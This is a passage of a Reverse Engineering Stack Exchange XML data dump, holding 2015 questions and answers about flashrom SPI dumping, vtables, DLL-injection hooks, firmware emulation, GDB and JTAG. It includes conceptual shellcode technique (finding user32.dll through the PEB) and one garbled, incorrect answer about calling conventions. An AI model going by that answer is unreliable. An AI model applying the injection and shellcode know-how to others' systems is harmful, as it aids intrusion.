us, 4 myus = 14 us, OK.&#xA;Initializing buspirate_spi programmer&#xA;serialport_config: Some requested options did not stick.&#xA;Error: Programmer initialization failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I check the Internet but it look like nobody already had this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to look at the pinout once again, still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I change some connection to see if I can have a different error, but no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did someone already had this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This error message come from this part of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wanted.c_cflag &amp;amp;= ~(PARENB | CSTOPB | CSIZE | CRTSCTS);&#xA;wanted.c_cflag |= (CS8 | CLOCAL | CREAD);&#xA;wanted.c_lflag &amp;amp;= ~(ICANON | ECHO | ECHOE | ISIG);&#xA;wanted.c_iflag &amp;amp;= ~(IXON | IXOFF | IXANY | ICRNL | IGNCR | INLCR);&#xA;wanted.c_oflag &amp;amp;= ~OPOST;&#xA;if (tcsetattr(fd, TCSANOW, &amp;amp;wanted) != 0) {&#xA;    msg_perr_strerror(&quot;Could not change serial port configuration: &quot;);&#xA;    return 1;&#xA;}&#xA;if (tcgetattr(fd, &amp;amp;observed) != 0) {&#xA;    msg_perr_strerror(&quot;Could not fetch new serial port configuration: &quot;);&#xA;    return 1;&#xA;}&#xA;if (observed.c_cflag != wanted.c_cflag ||&#xA;    observed.c_lflag != wanted.c_lflag ||&#xA;    observed.c_iflag != wanted.c_iflag ||&#xA;    observed.c_oflag != wanted.c_oflag ||&#xA;    cfgetispeed(&amp;amp;observed) != cfgetispeed(&amp;amp;wanted)) {&#xA;    msg_perr(&quot;%s: Some requested options did not stick.\n&quot;, __func__);&#xA;    return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;PARENB | CSTOPB | CSIZE | CRTSCTS&lt;/code&gt; and so on part look like it's a problem due to terminal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW I use &lt;code&gt;iTerm&lt;/code&gt; and &lt;code&gt;Terminal&lt;/code&gt; and it's not working on both. But works on Linux with default terminal. &lt;/p&gt;&#xA;" OwnerUserId="9981" LastEditorUserId="9981" LastEditDate="2015-10-14T11:15:23.160" LastActivityDate="2015-10-14T11:15:23.160" Title="Dump a MX25L12845E with a bus pirate and flashrom" Tags="|dumping|spi|flash|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11080" PostTypeId="1" AcceptedAnswerId="11082" CreationDate="2015-10-11T06:36:10.773" Score="1" ViewCount="1295" Body="&lt;p&gt;Assuming the standard VC++ vTable layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  Heap-Addr           TableAddr&#xA;+-----------+       +-----------+&#xA;| TableAddr | ----&amp;gt; | Funcion-1 | ----&amp;gt; Exec region of module&#xA;+-----------+       +-----------+&#xA;| a         |       | Funcion-2 | ----&amp;gt; Exec region of module&#xA;+-----------+       +-----------+&#xA;| b         |       | Funcion-3 | ----&amp;gt; Exec region of module&#xA;+-----------+       +-----------+&#xA;| c         |       |    ...    |&#xA;+-----------+       +-----------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is TableAddr guaranteed to always be inside a module or can it be anywhere in the address space, if so, what are the conditions that would make TableAddr be outside a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarity: A module is any .exe or .dll which has read-only or executable regions of memory allowing functions to be called. From my experience I've only seen TableAddr reside inside read-only sections of modules.&lt;/p&gt;&#xA;" OwnerUserId="13817" LastActivityDate="2015-10-12T22:28:05.490" Title="Are vTable pointers always located inside a module?" Tags="|windows|c++|memory|vtables|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11081" PostTypeId="1" CreationDate="2015-10-11T15:18:42.673" Score="1" ViewCount="1286" Body="&lt;p&gt;I am trying to call a function generated by Hex-Rays by injecting a DLL, but have so far only managed to crash the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code generated by Hex-Rays&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __usercall sub_54C3A0@&amp;lt;eax&amp;gt;(int a1@&amp;lt;esi&amp;gt;, void *a2@&amp;lt;ecx&amp;gt;)&#xA;{&#xA;  char *v2; // eax@1&#xA;  char *v3; // edx@1&#xA;  char v4; // cl@2&#xA;  int result; // eax@4&#xA;  char v6[84]; // [sp+0h] [bp-58h]@1&#xA;&#xA;  sub_432BA0(a2);&#xA;  dword_81D7CC = 1;&#xA;  sub_432B40(&quot;xxx_&quot;);&#xA;  v2 = (char *)sub_431620(55);&#xA;  v3 = (char *)(v6 - v2);&#xA;  do&#xA;  {&#xA;    v4 = *v2;&#xA;    v2[(_DWORD)v3] = *v2;&#xA;    ++v2;&#xA;  }&#xA;  while ( v4 );&#xA;  sub_4330E0(*(_DWORD *)v6);&#xA;  sub_437270();&#xA;  dword_81D7CC = 0;&#xA;  result = 0;&#xA;  if ( v6[0] )&#xA;  {&#xA;    dword_81DAE0 = 0;&#xA;    if ( sub_54C480(100, a1) || dword_81DAE0 || sub_54C480(75, a1) || dword_81DAE0 || sub_54C480(50, a1) )&#xA;      result = 1;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static DWORD hook_address = 0x54C3A0;&#xA;__declspec(naked) int hook()&#xA;{&#xA;    __asm {&#xA;        push esi // a1&#xA;        push ecx // a2&#xA;        call hook_address&#xA;        retn 4&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What would the correct wrapper look like, and why?&lt;/p&gt;&#xA;" OwnerUserId="13824" LastEditorUserId="53" LastEditDate="2015-12-16T17:12:16.543" LastActivityDate="2015-12-16T17:12:16.543" Title="Wrapping usercall from Hex-Rays" Tags="|ida|assembly|hexrays|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11082" PostTypeId="2" ParentId="11080" CreationDate="2015-10-12T06:36:18.247" Score="7" Body="&lt;p&gt;Note that not every C++ compiler neccesarily uses a vtable pointer at all. For example, the Watcom C++ compiler, 20 years ago, implemented method calls by reserving a function pointer for each method within the object itself; the &lt;code&gt;new&lt;/code&gt; operator initialized each of these function pointers separately, every time it generated a new object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The very idea of the vtable is to optimize this. At the time an object is generated, its exact class is known. The vtable allows the compiler to assign all those &quot;function pointers&quot; at once (by putting the address of the vtable in the object), at the cost of one more indirection every time a method is called. But anyway, the vtable for any class that may be instantiated is known at compile time*. Which means the vtable can be pre-initialized at compile time, which means it's bound to be put into some initialized data segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for code that was generated by a current C++ compiler, you should be able to assume that all vtables reside in an initialized segment, not the heap or the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you're trying to write a decompiler, or a tool that automates dynamic analysis in some way, you should at least check for this condition. If i wanted to obfuscate my code, i could easily implement a function in assembly, that takes an input pointer to an object, generates a copy of that object's vtable, possibly modifies a vtable entry or two, and adjusts the vtable pointer to reference the copy. If you write an analysis tool that becomes well-known, this might even be a technique an obfuscator uses to specifically defeat your tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while there shouldn't be a reason why vtables might be put anywhere but in initialized segments &lt;em&gt;now&lt;/em&gt;, i wouldn't want to rely on this in a general case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) I haven't used C++ for a long time, which means i haven't followed the newer specifications closely. I can't guarantee that C++11, or C++14, haven't introduced some weird construct that would need to construct vtables on the fly. But i'd be quite astonished if that was the case.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-10-12T06:36:18.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11083" PostTypeId="1" CreationDate="2015-10-12T11:05:09.380" Score="3" ViewCount="2331" Body="&lt;p&gt;I Want to emulate cctv dvr in qemu.this dvr is from juan cctv and the model is R7816.it is an 16ch dvr.I Have firmware upgrade file in .rom format which i can extract with binwalk.But i dont know what to do after that.please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the dvr firmware link which i want to emulate in qemu.&#xA;&lt;a href=&quot;http://www.everpro.biz/down/html/download/FWHI2116_20130821_DVR_R7816_1_8_3_7969B10.zip&quot; rel=&quot;nofollow&quot;&gt;Click here to download&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13828" LastActivityDate="2015-10-12T18:26:45.910" Title="Emulate juan DVR R7816 in Qemu" Tags="|firmware|qemu|emulation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11084" PostTypeId="1" CreationDate="2015-10-12T13:05:45.677" Score="2" ViewCount="525" Body="&lt;p&gt;I'm not understating why the parameters to printf are passed this way.&#xA;mov     [esp+20h+var_1C], eax&#xA;mov     [esp+20h+Format], offset Format ; &quot;%d&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why esp is added with 20h then substracted with 20h and esp doest added to point to next stack location for local vars ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why the compiler simply didnt generate code like this:&#xA;move eax, var_4&#xA;push eax&#xA;move eax, Format&#xA;push eax&#xA;call printf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ill be happy i some of you can either explain how push is replaced with this custom mov.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the source in c:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;&#xA;int main(void)&#xA;{&#xA;    int a;&#xA;    int b = 5;&#xA;&#xA;    printf(&quot;%d&quot;, b);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; Attributes: bp-based frame&#xA;&#xA;; int __cdecl main(int argc, const char **argv, const char **envp)&#xA;public _main&#xA;_main proc near&#xA;&#xA;Format= dword ptr -20h&#xA;var_1C= dword ptr -1Ch&#xA;var_4= dword ptr -4&#xA;argc= dword ptr  8&#xA;argv= dword ptr  0Ch&#xA;envp= dword ptr  10h&#xA;&#xA;push    ebp&#xA;mov     ebp, esp&#xA;and     esp, 0FFFFFFF0h&#xA;sub     esp, 20h&#xA;call    ___main&#xA;mov     [esp+20h+var_4], 5&#xA;mov     eax, [esp+20h+var_4]&#xA;mov     [esp+20h+var_1C], eax&#xA;mov     [esp+20h+Format], offset Format ; &quot;%d&quot;&#xA;call    _printf&#xA;mov     eax, 0&#xA;leave&#xA;retn&#xA;_main endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13829" LastEditorUserId="13829" LastEditDate="2015-10-12T13:45:20.403" LastActivityDate="2015-10-15T14:40:07.363" Title="Cannot understand var passing to function in code compiled with dev c++" Tags="|disassembly|c|" AnswerCount="4" CommentCount="4" ClosedDate="2015-10-15T11:26:44.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="11085" PostTypeId="1" CreationDate="2015-10-12T13:27:59.447" Score="2" ViewCount="225" Body="&lt;p&gt;I'm interesting in reversing malware. The problem is, that if you analyse malware on your own you don't know how efficient you are, and with which techniques/tools/methods you can use for better results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is why I would like to see how other malware analysts do that. I would like to see a good reference of analyzing modern malware. I like the book Practical Malware Analysis from Sikorski and Honig with their detailed solutions to labs.  It would be great to find something like that, but about real modern malware in the Internet.&lt;/p&gt;&#xA;" OwnerUserId="12670" LastEditorUserId="8176" LastEditDate="2015-10-13T14:27:37.323" LastActivityDate="2015-11-12T15:20:34.367" Title="Documentation of malware reverse engineering" Tags="|malware|documentation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11086" PostTypeId="2" ParentId="11084" CreationDate="2015-10-12T15:06:32.293" Score="1" Body="&lt;p&gt;&lt;code&gt;push eax&lt;/code&gt; is precisely identical to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub esp, 4&#xA;mov [esp], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rather than using a bunch of &lt;code&gt;push&lt;/code&gt;es, they adjusted the stack pointer to where it &lt;em&gt;would&lt;/em&gt; have been if they &lt;em&gt;had&lt;/em&gt; used &lt;code&gt;push&lt;/code&gt;.  Then, they store each datum where it would have been.  The effect is the same, it's just fewer instructions.&lt;/p&gt;&#xA;" OwnerUserId="13831" LastEditorUserId="13831" LastEditDate="2015-10-15T14:40:07.363" LastActivityDate="2015-10-15T14:40:07.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11087" PostTypeId="1" AcceptedAnswerId="11088" CreationDate="2015-10-12T16:46:18.563" Score="1" ViewCount="1453" Body="&lt;p&gt;Assuming I'm injecting a shellcode into a Windows GUI application, I know I could:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gets kernel32.dll base address through the PEB (Process Environment Block);  &lt;/li&gt;&#xA;&lt;li&gt;Finds address of LoadLibrary;  &lt;/li&gt;&#xA;&lt;li&gt;Call LoadLibrary(&quot;user32.dll&quot;);  &lt;/li&gt;&#xA;&lt;li&gt;Finally call GetProcAddress.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is the classic way and that's what I would do, however I'd like to know if there's a better/improved/faster/clever/different/smaller or simpler way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2015-10-12T16:54:04.027" Title="How to dynamically load address of USER32.DLL in shellcode?" Tags="|windows|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11088" PostTypeId="2" ParentId="11087" CreationDate="2015-10-12T16:54:04.027" Score="3" Body="&lt;p&gt;If &lt;code&gt;user32.dll&lt;/code&gt; is already loaded in the process's address space (and I assume it is given that you said it's a Windows GUI application), you can walk the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa813708.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;PEB_LDR_DATA&lt;/code&gt;&lt;/a&gt; structure in order to find the base address of &lt;code&gt;user32.dll&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ringzer0.wordpress.com/2010/11/23/kernel32-image-base-address-on-windows-seven/&quot; rel=&quot;nofollow noreferrer&quot;&gt;KERNEL32 image base address on Windows Seven&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sandsprite.com/CodeStuff/Understanding_the_Peb_Loader_Data_List.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding the PEB Loader&#xA;Data Structure&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4465/where-is-ntdll-dll&quot;&gt;Where is ntdll.dll?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-10-12T16:54:04.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11089" PostTypeId="1" CreationDate="2015-10-12T16:54:12.230" Score="2" ViewCount="1146" Body="&lt;p&gt;I'm currently practicing some RE w/ GDB and am having issues simply stopping the run/start on the first/second instruction.  I am new to GDB/RE and have a &lt;em&gt;limited&lt;/em&gt; knowledge of some of GDB's inner workings.  So far when I open the program I have done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set disassembly-flavor intel&#xA;(gdb) file /path/to/binary&#xA;(gdb) info file&#xA;Symbols from &quot;/path/to/binary&quot;.                                                                                                &#xA;Local exec file:                                                                                                          &#xA;    `/path/to/binary', file type elf32-i386.                                                                               &#xA;    Entry point: 0x8048450&#xA;    .&#xA;    .&#xA;    .&#xA;(gdb) b *0x8048450&#xA;(gdb) start&#xA;Temporary breakpoint 2 at 0x80485f7                                                                                       &#xA;Starting program: /path/to/binary                                                                                              &#xA;During startup program exited with code 1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So clearly setting the breakpoint at the entry point is not useful.  Below is the output of the command :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; objdump /path/to/binary -M intel -D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the preceeding memory address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;08048450 &amp;lt;_start&amp;gt;:&#xA; 8048450:       31 ed                   xor    ebp,ebp&#xA; 8048452:       5e                      pop    esi                                                                        &#xA; 8048453:       89 e1                   mov    ecx,esp                                                                    &#xA; 8048455:       83 e4 f0                and    esp,0xfffffff0                                                             &#xA; 8048458:       50                      push   eax                                                                        &#xA; 8048459:       54                      push   esp                                                                        &#xA; 804845a:       52                      push   edx                                                                        &#xA; 804845b:       68 c0 86 04 08          push   0x80486c0                                                                  &#xA; 8048460:       68 60 86 04 08          push   0x8048660                                                                  &#xA; 8048465:       51                      push   ecx                                                                        &#xA; 8048466:       56                      push   esi                                                                        &#xA; 8048467:       68 e9 85 04 08          push   0x80485e9                                                                  &#xA; 804846c:       e8 bf ff ff ff          call   8048430     &amp;lt;__libc_start_main@plt&amp;gt;                                            &#xA; 8048471:       f4                      hlt                                                                               &#xA; 8048472:       66 90                   xchg   ax,ax                                                                      &#xA; 8048474:       66 90                   xchg   ax,ax                                                                      &#xA; 8048476:       66 90                   xchg   ax,ax                                                                      &#xA; 8048478:       66 90                   xchg   ax,ax                                                                      &#xA; 804847a:       66 90                   xchg   ax,ax                                                                      &#xA; 804847c:       66 90                   xchg   ax,ax                                                                      &#xA; 804847e:       66 90                   xchg   ax,ax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My overall goal is to jump to a specific function in the program using the b *Mem, jump *Mem technique and execute the code w/in that function.  In order to do this however I need to be able to stop the program while it is running I believe.&lt;/p&gt;&#xA;" OwnerUserId="13835" LastEditorUserId="13835" LastEditDate="2015-10-12T17:00:20.960" LastActivityDate="2015-10-12T19:56:51.387" Title="Set Breakpoint at Entry point fails (GDB)" Tags="|x86|gdb|objdump|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11090" PostTypeId="2" ParentId="11085" CreationDate="2015-10-12T18:08:00.933" Score="1" Body="&lt;p&gt;There is a nice book &quot;coming up&quot; in spring 2016.&#xA;&lt;a href=&quot;https://www.nostarch.com/rootkits&quot; rel=&quot;nofollow&quot;&gt;https://www.nostarch.com/rootkits&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2015-10-12T18:08:00.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11091" PostTypeId="2" ParentId="11083" CreationDate="2015-10-12T18:26:45.910" Score="3" Body="&lt;p&gt;Just the firmware and qemu won't help you much. When the firmware starts up, it will try to communicate with the hardware - initialize the network card, check which channels have cameras attached to them, probably read some configuration values from non-volatile storage, check the total/free space of the hard disk, this kind of stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a plain qemu emulation, the hardware just isn't there. So the firmware will probably send a command to the to read the MAC address from the network card (to determine its own serial number), then wait until the network card responds. But, the non-existant network card never responds. So if you're lucky, the firmware will throw an error message and abort the boot; if you aren't lucky, it will just enter an endless loop without you knowing what's happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, unless you a) write qemu modules to emulate everything the hardware of your dvr does, or b) disassemble the firmware, and patch all the device drivers to simulate hardware that isn't there, you won't be able to run your firmware with qemu.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-10-12T18:26:45.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11092" PostTypeId="2" ParentId="11089" CreationDate="2015-10-12T19:10:58.703" Score="5" Body="&lt;p&gt;From &lt;a href=&quot;http://www.delorie.com/gnu/docs/gdb/gdb_29.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.delorie.com/gnu/docs/gdb/gdb_29.html&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;GDB normally ignores breakpoints when it resumes execution, until at least one instruction has been executed. If it did not do this, you would be unable to proceed past a breakpoint without first disabling the breakpoint. This rule applies whether or not the breakpoint already existed when your program stopped. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You might just get bitten by this; when loading, gdb puts the instruction pointer at the first instruction, and it won't break on this when starting the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://stackoverflow.com/questions/16027218/gdb-is-not-stopping-at-the-first-machine-code-instruction-with-break-start-or-i&quot;&gt;this question and answer&lt;/a&gt;, this seems to be dependent on the version of gdb you're using, and disabling ASLR might help (i don't think that happens in your case though, since you checked the entry point after loading the specific instance of your program).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i found &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8724/set-a-breakpoint-on-gdb-entry-point-for-stripped-pie-binaries-without-disabling&quot;&gt;this question&lt;/a&gt; that has a trick to break on the very first instruction that's getting executed; when i tested it, it even stopped within the dynaloader before passing execution to the entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, i fail to see why you absolutely need to have a breakpoint at the entry point. If you want to change anything before the program executes its first instruction, just do it before running your program. You could, for example, change the instructions at the entry point to &lt;code&gt;jmp my_special_function&lt;/code&gt;, which will probably need a few more bytes than just one instruction at &lt;code&gt;_start&lt;/code&gt;, and have your special function end in the 4 instruction before the &lt;code&gt;push&lt;/code&gt;, then &lt;code&gt;jmp&lt;/code&gt; to &lt;code&gt;8048458&lt;/code&gt;. You can do all this after loading the program and run it afterwards.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-10-12T19:56:51.387" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11093" PostTypeId="2" ParentId="11080" CreationDate="2015-10-12T22:28:05.490" Score="2" Body="&lt;p&gt;I believe that it is possible for both&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the vtable pointer to point to a different module, and&lt;/li&gt;&#xA;&lt;li&gt;for functions pointers in the vtable to point to a different module (at least indirectly.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first will happen if you have a base class (with at least 1 virtual method) exported from a DLL and a class deriving from this in an executable (which will import the DLL.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a derived class object is constructed in the exe module, it will first be constructed as a base class object (by calling the base constructor in the DLL) and so the vtable pointer for the object will point into the DLL module. This will only be for a very short period of time as, soon after, the derived class constructor in the executable will update the object's vtable pointer to point to the derived class vtable which will be in the executable module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second can happen if the derived class doesn't override all the base class virtual methods. For these methods, the correct implementation will be the base class methods residing in the DLL. Hence, the relevent vtable entries will need to end up at the methods in the base class DLL. This will probably be via an import stub function in the executable itself.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2015-10-12T22:28:05.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11095" PostTypeId="2" ParentId="11084" CreationDate="2015-10-13T05:31:13.160" Score="-2" Body="&lt;p&gt;HIgh and midlevevel languages has bascically two different calling conentions (assuming datawidth i  max_bits, much faster, but maybe lesss readable, signed values are indicated by, LSHB * 1 and son on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assmbly codes not corrrect. The correct code is mov [&quot;I&quot;ESP),&#xA;determindes the sign. Sihn is entirely determined på software. EVen simple asseblers and compilers havea sign Array/CLT classl&lt;/p&gt;&#xA;" OwnerUserId="13840" LastActivityDate="2015-10-13T05:31:13.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11096" PostTypeId="1" AcceptedAnswerId="11105" CreationDate="2015-10-13T11:11:23.817" Score="3" ViewCount="5156" Body="&lt;p&gt;I am trying to figure out how the bootloader of a TP-Link wr702n device (based on an AP121 MIPS board) starts the operation system (VxWorks 5.5.1). The bootloader is extracted from a firmware update file and is a binary (no ELF, PE,...). I am stuck with the next step. IDA Pro disassembles some functions but (I guess) it needs further information about the ROM start address, loading address, and offset to do it properly. Where can I find these information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no RE experience and I am doing this for fun/education. Any hints about further reading or next steps would be great.&lt;/p&gt;&#xA;" OwnerUserId="13844" LastActivityDate="2015-10-14T13:17:54.987" Title="Reverse Engineering MIPS Bootloader" Tags="|firmware|mips|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11097" PostTypeId="2" ParentId="11096" CreationDate="2015-10-13T13:05:40.970" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;http://www.nulltrace.org/2013/04/mips-bootstrapping.html&quot; rel=&quot;nofollow&quot;&gt;http://www.nulltrace.org/2013/04/mips-bootstrapping.html&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;MIPS Bootstrapping&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;Bootstrapping is the process of taking a CPU just out of reset,&#xA;  fetching and executing instructions serially, to a more complex&#xA;  running environment. The program that does that is called a &quot;Boot&#xA;  loader&quot; or &quot;Boot strap code&quot; or simply &quot;Boot code&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;h2&gt;First Instruction Fetch&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;When power is applied to a processor and it comes out of reset, it&#xA;  fetches its first instruction from an address that is hardwired. This&#xA;  address is known as the &quot;Boot Vector&quot; or the &quot;Reset Vector&quot;. The MIPS&#xA;  processors' boot vector is located at physical address &lt;code&gt;0x1FC00000&lt;/code&gt;. The&#xA;  MIPS processors have MMU enabled as soon as they are powered on. The&#xA;  MIPS core thus presents a virtual address of &lt;code&gt;0xBFC00000&lt;/code&gt;. The MMU&#xA;  translates this address to physical address of &lt;code&gt;0x1FC00000&lt;/code&gt;, the boot&#xA;  vector. This translation again is hardwired. Typically, a boot device&#xA;  is present at this address and responds to the read request of the&#xA;  processor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-10-13T13:05:40.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11098" PostTypeId="2" ParentId="11081" CreationDate="2015-10-13T13:05:50.160" Score="4" Body="&lt;p&gt;Your hook is wrong because &lt;code&gt;retn 4&lt;/code&gt; is for &lt;code&gt;__stdcall&lt;/code&gt;s, not &lt;code&gt;__usercall&lt;/code&gt;s, and because you must move arguments to registers, not push them. Do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov esi, a1&#xA;mov ecx, a2&#xA;call hook_address&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;retn 4&lt;/code&gt; would clean 4 bytes from the stack, but you didn't push anything, so it's not correct, which is why you use &lt;code&gt;ret&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-10-13T13:05:50.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11099" PostTypeId="1" CreationDate="2015-10-13T13:06:57.243" Score="2" ViewCount="272" Body="&lt;p&gt;I am studying Computer Forensics in at a university in the UK and for my final year project, I wanted to combine my love of Microsoft products and Computer Forensics to see what kind of information a Microsoft band stores.&#xA;To do this I need to get a data dump from the &quot;Band&quot;. As the band has no usb connectivity. The only way I can think of this is to JTag the motherboard.&#xA;I am not very experienced when it comes to Jtagging and as part of my research I have to find out how to do this. The facilities are all there in the university so that isn't a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has been very little research and the Microsoft band in terms of Forensic Analysis. So I was wondering whether anyone here knows their way around the band or JTagging in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A picture of the motherboard and chip are available from the this link &lt;a href=&quot;https://www.sparkfun.com/news/1681&quot; rel=&quot;nofollow&quot;&gt;https://www.sparkfun.com/news/1681&lt;/a&gt; or &lt;a href=&quot;https://cdn.sparkfun.com/r/500-500/assets/home_page_posts/1/6/8/1/Microsoft_Band_Teardown-33.jpg&quot; rel=&quot;nofollow&quot;&gt;https://cdn.sparkfun.com/r/500-500/assets/home_page_posts/1/6/8/1/Microsoft_Band_Teardown-33.jpg&lt;/a&gt;&#xA;Any help would be largely appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13845" LastActivityDate="2015-10-15T09:01:45.007" Title="I need advice on how to JTag a Microsoft Band" Tags="|windows|hardware|dumping|jtag|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
